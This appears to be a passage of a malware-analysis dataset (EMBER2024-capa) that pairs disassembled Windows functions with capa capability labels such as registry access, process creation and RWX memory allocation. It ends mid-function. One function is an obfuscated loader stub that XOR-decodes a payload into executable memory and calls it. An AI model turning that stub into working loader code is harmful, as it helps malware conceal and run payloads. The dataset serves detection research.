joyce8/EMBER2024-capa huggingface dataset:
Function at 0x417119
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x41ebb0
cmp edx, dword [eax]
je 0x41713b
add eax, 8
inc ecx
cmp eax, 0x41ec40
jl 0x41712c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x41ebb0]
jne 0x417269
mov eax, dword [0x41f364]
cmp eax, 1
je 0x417243
test eax, eax
jne 0x41716c
cmp dword [0x41e8d4], 1
je 0x417243
cmp edx, 0xfc
je 0x417269
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4171a3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00413e10
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00413f00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4171e6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00413f00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x41b60c
push edi
call fcn.00418210
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00413e10
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00413e20
lea eax, [ebp - 0xa0]
push 0x41b5ec
push eax
call fcn.00413e20
push dword [esi + 0x41ebb4]
lea eax, [ebp - 0xa0]
push eax
call fcn.00413e20
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041817b
add esp, 0x2c
pop edi
jmp 0x417269
lea eax, [ebp + 8]
lea esi, [esi + 0x41ebb4]
push 0
push eax
push dword [esi]
call fcn.00413f00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10034f40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10034f4f
pop dword [ebp - 0x40]
mov eax, 0x10034f4f
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xf534e64b
add dword [ebp - 0x50], 0x591d5f00
mov dword [ebp - 0x4c], 0xd9b1ea3a
sub dword [ebp - 0x4c], 0xa77e9df5
mov dword [ebp - 0x48], 0x8698ff45
sub dword [ebp - 0x48], 0x3a4cbb17
mov dword [ebp - 0x44], 0xb65be537
sub dword [ebp - 0x44], 0xb65be537
lea eax, [ebp - 0x50]
push eax
mov eax, 0x2bd4bb14
sub eax, 0x1bd04a4c
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xa1fdcb1c
add dword [ebp - 0x50], 0xd2749e3a
mov dword [ebp - 0x4c], 0x29101a74
sub dword [ebp - 0x4c], 0xe7a3b8ff
mov dword [ebp - 0x48], 0x96403f4c
sub dword [ebp - 0x48], 0x32d0d2e0
mov dword [ebp - 0x44], 0xb4f9d7a5
add dword [ebp - 0x44], 0x4b06285b
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x4d5d457e
add eax, 0xc2a72b66
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x42ccf
push 0
call eax
mov ecx, 0x1268dca2
sub ecx, 0x1268935c
mov edx, eax
mov ebx, 0xbb4b878d
sub ebx, 0xab45578d
add ebx, dword [ebp - 0x40]
mov esi, 0x777acf18
add esi, 0x459bc806
mov edi, dword [ebx]
mov dword [ebp - 0x18], 0xcd9a88ba
xor edi, esi
sub dword [ebp - 0x1c], 0x7927a376
mov dword [edx], edi
mov dword [ebp - 0x38], 0x7fdd7546
add edx, 4
add ebx, 0x85aa709a
sub ebx, 0x85aa7096
loop 0x1003506c
add eax, 0xe0a91c0c
sub eax, 0xe0a80421
mov ebx, eax
add eax, 0xa3841b3f
sub eax, 0xa3841b3a
mov ecx, 0x4cffbfcb
sub ecx, 0x3cffbfcb
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4032a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x4032b4
xor eax, eax
jmp 0x4032cf
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0041cd86
add esp, 0x10
mov esp, ebp
pop ebp
ret 0xc

Function at 0x405e40
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
xor eax, eax
jne 0x405e49
xor ecx, ecx
jne 0x405e49
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405e90
mov eax, dword [ebp - 0xc]
jmp 0x405eed
cmp dword [ebp - 4], 1
je 0x405ea3
cmp dword [ebp - 4], 2
je 0x405ea3
mov eax, 0xd
jmp 0x405eed
cmp dword [ebp + 0xc], 0
je 0x405ee1
cmp dword [ebp - 8], 0
je 0x405ed9
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x405ed0
mov edx, dword [ebp - 8]
shr edx, 1
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + edx*2 - 2]
test ecx, ecx
je 0x405ed7
mov eax, 0xd
jmp 0x405eed
jmp 0x405ee1
xor edx, edx
mov eax, dword [ebp + 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp + 0x10]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x406370
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fcf8
mov eax, dword fs:[0]
push eax
sub esp, 0x230
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 0x28], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x23c], ecx
lea ecx, [ebp - 0x20]
call fcn.00405fe0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x20]
call fcn.00405f00
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x406401
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x230], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00405fc0
mov eax, dword [ebp - 0x230]
jmp 0x4064a0
mov dword [ebp - 0x10], 0x100
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x22c]
push edx
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40646e
lea ecx, [ebp - 0x22c]
push ecx
lea ecx, [ebp - 0x20]
call fcn.00406370
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x406465
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x234], edx
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00405fc0
mov eax, dword [ebp - 0x234]
jmp 0x4064a0
mov dword [ebp - 0x10], 0x100
jmp 0x406408
lea ecx, [ebp - 0x20]
call fcn.00405f70
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x23c]
call fcn.004062e0
mov dword [ebp - 0x238], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.00405fc0
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x28]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret 4
Function at 0x416100
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x416109
xor ecx, ecx
jne 0x416109
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x41612a
mov eax, 0xd
jmp 0x416185
xor eax, eax
jne 0x416111
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x41613b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8
Function at 0x419ce0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440dc7
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x244], 0
mov ax, word [0x447590]
mov word [ebp - 0x23c], ax
push 0x206
push 0
lea ecx, [ebp - 0x23a]
push ecx
call fcn.0041c5e0
add esp, 0xc
lea edx, [ebp - 0x23c]
push edx
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
lea ecx, [ebp - 0x23d]
call fcn.00412ba0
push eax
lea ecx, [ebp - 0x23c]
push ecx
lea ecx, [ebp - 0x30]
call fcn.004025a0
mov dword [ebp - 4], 1
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x2c]
call fcn.00401e50
push 0x447644
lea ecx, [ebp - 0x2c]
call fcn.00401e50
lea eax, [ebp - 0x30]
push eax
mov ecx, dword [ebp + 8]
call fcn.00402d50
mov ecx, dword [ebp - 0x244]
or ecx, 1
mov dword [ebp - 0x244], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.00402df0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret

Function at 0x41b972
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x451778], 0
push esi
jne 0x41b8e5
call fcn.0041b80b
test eax, eax
je 0x41b928
mov eax, dword [0x451778]
cmp eax, 1
jne 0x41b906
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x41b928
pop esi
ret
push eax
call dword [0x451780]
test eax, eax
jne 0x41b970
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41b92c
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x451778]
call dword [0x451780]
mov edi, eax
test edi, edi
je 0x41b951
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x41b96d
mov edi, esi
add esi, 0xff0
push edi
push dword [0x451778]
call dword [0x45177c]
add edi, 0x10
cmp edi, esi
jb 0x41b959
mov eax, edi
pop edi
pop esi
ret
jmp 0x41b8d2

Function at 0x41bbb4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44f1a4]
jne 0x41bbbe
repz ret
jmp fcn.00420bf7
Function at 0x41d0c5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x41d0f6
call fcn.0041bce6
mov dword [eax], esi
call fcn.0041bcd3
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.0041c571
add esp, 0x14
push 0x16
pop eax
jmp 0x41d14b
test dword [ebp + 0xc], 0xfffffff9
jne 0x41d0d2
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x41d123
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0041bcf9
pop ecx
call fcn.0041bcd3
mov eax, dword [eax]
jmp 0x41d14b
test al, 0x10
jne 0x41d149
test al, 1
je 0x41d149
test byte [ebp + 0xc], 2
je 0x41d149
call fcn.0041bce6
mov dword [eax], 5
call fcn.0041bcd3
mov dword [eax], 0xd
jmp 0x41d11a
xor eax, eax
pop esi
pop ebp
ret

Function at 0x42c901
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00420e6a
and dword [ebp - 4], 0
cmp dword [0x45238c], 0
mov ebx, eax
jne 0x42c9b2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42ca63
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x42ca63
push eax
call fcn.00420df8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45238c], eax
call esi
push eax
call fcn.00420df8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452390], eax
call esi
push eax
call fcn.00420df8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x452394], eax
call esi
push eax
call fcn.00420df8
pop ecx
mov dword [0x45239c], eax
test eax, eax
je 0x42c9b2
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00420df8
pop ecx
mov dword [0x452398], eax
mov eax, dword [0x452398]
cmp eax, ebx
je 0x42ca0a
cmp dword [0x45239c], ebx
je 0x42ca0a
push eax
call fcn.00420e73
push dword [0x45239c]
mov esi, eax
call fcn.00420e73
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42ca0a
test edi, edi
je 0x42ca0a
call esi
test eax, eax
je 0x42ca01
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42ca01
test byte [ebp - 0xc], 1
jne 0x42ca0a
or dword [ebp + 0x10], 0x200000
jmp 0x42ca43
mov eax, dword [0x452390]
cmp eax, ebx
je 0x42ca43
push eax
call fcn.00420e73
pop ecx
test eax, eax
je 0x42ca43
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42ca43
mov eax, dword [0x452394]
cmp eax, ebx
je 0x42ca43
push eax
call fcn.00420e73
pop ecx
test eax, eax
je 0x42ca43
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45238c]
call fcn.00420e73
pop ecx
test eax, eax
je 0x42ca63
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42ca65
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e990
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f9aa
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 0x24], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x78], ecx
push 0x445380
mov ecx, 0x452400
call fcn.00406700
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov ecx, dword [ebp - 0x78]
mov dword [ecx + 0x24], eax
mov edx, dword [ebp - 0x78]
mov eax, dword [edx + 0x24]
push eax
push 1
push 0x80
mov ecx, dword [ebp - 0x78]
add ecx, 4
call fcn.004066d0
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx + 0x24]
push edx
push 0
push 0x80
mov ecx, dword [ebp - 0x78]
add ecx, 4
call fcn.004066d0
lea ecx, [ebp - 0x20]
call fcn.00406690
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x78]
add ecx, 4
call fcn.004061c0
lea ecx, [ebp - 0x49]
call fcn.00412ba0
push eax
push 0x4453a0
lea ecx, [ebp - 0x44]
call fcn.004025a0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x78]
add ecx, 0x4c
call fcn.00401e80
movzx ecx, al
test ecx, ecx
jne 0x42eaa9
mov edx, dword [ebp - 0x78]
add edx, 0x48
je 0x42ea62
mov eax, dword [ebp - 0x78]
add eax, 0x4c
mov dword [ebp - 0x7c], eax
jmp 0x42ea69
mov dword [ebp - 0x7c], 0
mov ecx, dword [ebp - 0x7c]
push ecx
push 0x4453b8
lea edx, [ebp - 0x68]
push edx
call fcn.00401b70
add esp, 0xc
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x84], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x40]
call fcn.004010a0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x68]
call fcn.00403070
lea ecx, [ebp - 0x40]
call fcn.00403120
push eax
mov ecx, dword [ebp - 0x78]
add ecx, 4
call fcn.00406670
push 0x5c
call fcn.0041bd37
add esp, 4
mov dword [ebp - 0x70], eax
mov byte [ebp - 4], 2
cmp dword [ebp - 0x70], 0
je 0x42eaff
mov edx, dword [ebp - 0x78]
movzx eax, byte [edx + 0x6c]
test eax, eax
sete cl
movzx edx, cl
push edx
lea eax, [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, dword [ecx + 4]
push edx
mov ecx, dword [ebp - 0x70]
call fcn.0043bc20
mov dword [ebp - 0x88], eax
jmp 0x42eb09
mov dword [ebp - 0x88], 0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x6c], eax
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x48], ecx
push 0
push 0x2710
mov edx, dword [ebp - 0x78]
add edx, 0x28
push edx
mov ecx, dword [ebp - 0x48]
call fcn.0043be20
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x78]
movzx ecx, byte [eax + 0x6c]
test ecx, ecx
je 0x42eb48
mov ecx, dword [ebp - 0x78]
call fcn.0042e810
mov dword [ebp - 0x74], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.00402df0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret 0x10
Function at 0x434fa0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x1c], ecx
push 0
push 0x80
push 3
push 0
push 0
push SysReAllocString
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x434fd5
mov eax, 8
jmp 0x43504e
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
push edx
call fcn.0041bb9e
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x43501c
mov eax, 1
jmp 0x43504e
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x1c]
call fcn.00434ef0
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
push eax
call fcn.0041c5d1
add esp, 4
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 4

Function at 0x435170
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0xc], 0
mov byte [ebp - 0xb], 0
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0
mov byte [ebp - 8], 0
mov byte [ebp - 7], 5
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4351e9
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4351df
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
xor eax, eax
cmp dword [ebp - 0x10], 0
setne al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret

Function at 0x435200
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x4503fc], 0xffffffff
jne 0x43525f
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.0041c5e0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
mov dword [ebp - 4], eax
xor eax, eax
cmp eax, dword [ebp - 4]
sbb ecx, ecx
neg ecx
mov dword [0x4503fc], ecx
xor eax, eax
cmp dword [0x4503fc], 1
sete al
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret
Function at 0x435370
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x60], 0
push 0x40
push 0
lea eax, [ebp - 0x5c]
push eax
call fcn.0041c5e0
add esp, 0xc
mov dword [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x60], 0x44
lea edx, [ebp - 0x60]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x60]
push ecx
mov edx, dword [ebp + 0x14]
push edx
push 0
push 0xc000000
push 0
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x435434
cmp dword [ebp + 0xc], 0
je 0x43541e
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x64], eax
cmp dword [ebp + 0x18], 0
je 0x43540a
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
cmp dword [ebp + 0x10], 0
je 0x43541e
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x435445
cmp dword [ebp + 0x1c], 0
je 0x435445
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret

Function at 0x435640
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f2d8
mov eax, dword fs:[0]
push eax
sub esp, 0x238
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x43567f
mov ecx, dword [ebp + 8]
or ecx, 0x8000
mov dword [ebp + 8], ecx
xor edx, edx
mov word [ebp - 0x21c], dx
push 0x206
push 0
lea eax, [ebp - 0x21a]
push eax
call fcn.0041c5e0
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jne 0x435730
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x4356db
lea ecx, [ebp - 0x21c]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashW]
jmp 0x4356e8
lea edx, [ebp - 0x21c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
lea ecx, [ebp - 0x241]
call fcn.00412ba0
push eax
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x240]
call fcn.004025a0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x240]
push ecx
mov ecx, dword [ebp + 0xc]
call fcn.00402660
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x240]
call fcn.00402df0
jmp 0x43573f
push 0xffffffffffffffff
push 0
mov ecx, dword [ebp + 0xc]
add ecx, 4
call fcn.00402760
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041bbb4
mov esp, ebp
pop ebp
ret
Function at 0x435760
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43f316
mov eax, dword fs:[0]
push eax
sub esp, 0x260
mov eax, dword [0x44f1a4]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ax, word [0x445640]
mov word [ebp - 0x21c], ax
push 0x206
push 0
lea ecx, [ebp - 0x21a]
push ecx
call fcn.0041c5e0
add esp, 0xc
lea ecx, [ebp - 0x245]
call fcn.00412ba0
push eax
push 0x445644
lea ecx, [ebp - 0x244]
call fcn.004025a0
mov dword [ebp - 4], 0
lea edx, [ebp - 0x244]
push edx
mov ecx, dword [ebp + 0xc]
call fcn.00402660
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x244]
call fcn.00402df0
mov eax, dword [ebp + 8]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4358ce
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x224], 0
lea ecx, [ebp - 0x224]
push ecx
push 4
lea edx, [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x43585f
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x220]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.PSAPI.DLL_GetModuleFileNameExW
jmp 0x435886
push 0x104
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.PSAPI.DLL_GetProcessImageFileNameW
test eax, eax
jne 0x435886
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4358e7
lea ecx, [ebp - 0x269]
call fcn.00412ba0
push eax
lea ecx, [ebp - 0x21c]
push ecx
lea ecx, [ebp - 0x268]
call fcn.004025a0
mov dword [ebp - 4], 1
lea edx, [ebp - 0x268]
